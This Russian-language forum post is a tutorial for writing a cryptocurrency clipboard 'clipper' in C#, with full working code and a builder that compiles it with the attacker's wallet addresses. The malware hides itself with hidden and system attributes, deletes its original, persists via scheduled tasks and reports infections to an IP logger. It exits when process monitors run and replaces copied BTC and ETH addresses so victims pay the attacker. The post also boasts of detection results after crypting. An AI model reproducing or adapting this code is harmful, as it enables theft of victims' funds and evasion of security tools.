FAQ Биткоин стиллер на C#

  • Автор темы SectorIder
  • Дата начала
  • Ответы 0
  • Просмотры 66

SectorIder

Интересующийся
Участник

SectorIder

Интересующийся
Участник

Доброго времени суток!

Клиппер - вредоносная программа, которая мониторит буффер обмена на наличие каких либо данных, и, в случае их нахождения, заменяет
на указанные. Таким образом, жертва может отправить деньги на кошелек злоумышленника.

В сегодняшней статье мы напишем клиппер на языке C#. Также в этой статье мы рассмотрим создание билдера малвари.


Билд

Алгоритм работы клиппера:
1) Проверяем, заражена ли система. Если нет, то копируемся в указанную папку, добавляемся в автозагрузку, стучим в логгер
2) Запускаем в отдельном потоке мониторинг процессов
3) Мониторим буффер обмена

Код можно писать прямо в блокноте тк позже мы добавим его в ресурсы билдера.

Функция мониторинга процессов. В случае обнаружения диспетчера задач закрывем приложение:
C#:
static void Monitor() {
 while (true) {
  try {
   foreach(Process item in Process.GetProcesses())
   if (item.ProcessName.ToLower() == "taskmgr" ||
    item.ProcessName.ToLower() == "processhacker" ||
    item.ProcessName.ToLower() == "procexp")
    Environment.Exit(0);

   Thread.Sleep(500);
  } catch {}

 }
}
Переходим к Main. Задаем путь к файлу:
C#:
string path = Environment.GetEnvironmentVariable("[path]") + "\\" + "[filename]";
[path], [filename] и проч. - значения, которые будут заменены билдером при компиляции.

Устанавливаем клиппер если он не установлен:
C#:
if (!File.Exists(path)) {
 File.Copy(Assembly.GetEntryAssembly().Location, path);

 // Самоудаление и добавление в планировщик заданий

 ProcessStartInfo proc = new ProcessStartInfo();
 proc.Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetEntryAssembly().Location + "\" & schtasks /create /tn \\" + Path.GetRandomFileName().Split('.')[0] + "\\" + Path.GetRandomFileName().Split('.')[0] + " /tr " + path + " /st 00:00 /du 9999:59 /sc daily /ri 1 /f";
 proc.WindowStyle = ProcessWindowStyle.Hidden;
 proc.CreateNoWindow = true;
 proc.FileName = "cmd.exe";

 // Ставим аттрибуты Скрытый и Системный на файл

 File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System);

 // Стучим в IPLogger

 try {
  HttpWebRequest http = (HttpWebRequest) WebRequest.Create("[iplogger]");
  http.UserAgent = "New user!";
  http.GetResponse();
 } catch {}


 Process.Start(proc);
 Environment.Exit(0);

}
Запустим в новом потоке мониторинг процессов:
C#:
Thread th = new Thread(Monitor); // Чекаем процессы в отдельном потоке
th.Start();
Напишем цикл, отвечающий за подмену кошельков. Сверяем по Regex данные в буффере, и если там есть кошелек осуществляем замену. Для примера я использовал три кошелька (два BTC и один ETH), вы можете добавить свои.
C#:
while (true) {
 string idat_old = string.Empty;
 string idat = string.Empty;

 Thread.Sleep(500);

 try {
  if (Clipboard.ContainsText()) {
   idat = Clipboard.GetText();

   if (idat != idat_old) {
    // Ищем в clipboard адреса и если находим заменяем

    if (new Regex("^1[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[btcwallet1]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    }
    if (new Regex("^3[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[btcwallet2]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    } else if (new Regex("^0x[a-fA-F0-9]{40}$").IsMatch(idat)) {
     new Thread(() => {
      Clipboard.SetText("[ethwallet]");
     }) {
      ApartmentState = ApartmentState.STA
     }.Start();
    }

    idat_old = idat;
   }
  }
 } catch {}

}
С клиппером закончили. Сохраняем код в txt файл. Переходим к билдеру.


Билдер

Алгоритм работы билдера:
1) Получаем указанные в полях кошельки
2) Заменяем их в исходнике клиппера
3) Компилируем исходник

Создаем проект WindowsForms. По-быстрому набросаем форму:
1588366557867.png
Переходим к коду. Добавим пару юзингов:
C#:
using Microsoft.CSharp;
using System.CodeDom.Compiler;
В обработчике кнопки пишем:
C#:
CompilerParameters Params = new CompilerParameters(); // Параметры компилируемой сборки
Params.IncludeDebugInformation = false;
Params.CompilerOptions = " /t:winexe /platform:x86";
Params.OutputAssembly = "build.exe";

Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
Params.ReferencedAssemblies.Add("System.dll");

string Source = Properties.Resources.Source;
Source = Source.Replace("[btcwallet1]", textBox1.Text); // Заменяем нужные значения в сурсе
Source = Source.Replace("[btcwallet2]", textBox2.Text);
Source = Source.Replace("[ethwallet]", textBox3.Text);
Source = Source.Replace("[path]", comboBox1.SelectedItem.ToString());
Source = Source.Replace("[filename]", textBox4.Text);
Source = Source.Replace("[iplogger]", textBox5.Text);


var settings = new Dictionary < string,
 string > ();
settings.Add("CompilerVersion", "v4.0");

CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
if (Results.Errors.Count > 0) {

 foreach(CompilerError err in Results.Errors)
 MessageBox.Show(err.ToString()); //Вывод ошибок
}

MessageBox.Show("Done!", "Success");
Добавляем в ресурсы билдера сурс клиппера:
1588366599299.png
Компилируем билдер.

Детект билда:
Пожалуйста , Вход или Регистрация чтобы увидеть ссылку!

После крипта:

1588366613298.png

На этом все!

Исходники:
Пожалуйста , Вход или Регистрация чтобы увидеть ссылку!
 
Сверху Снизу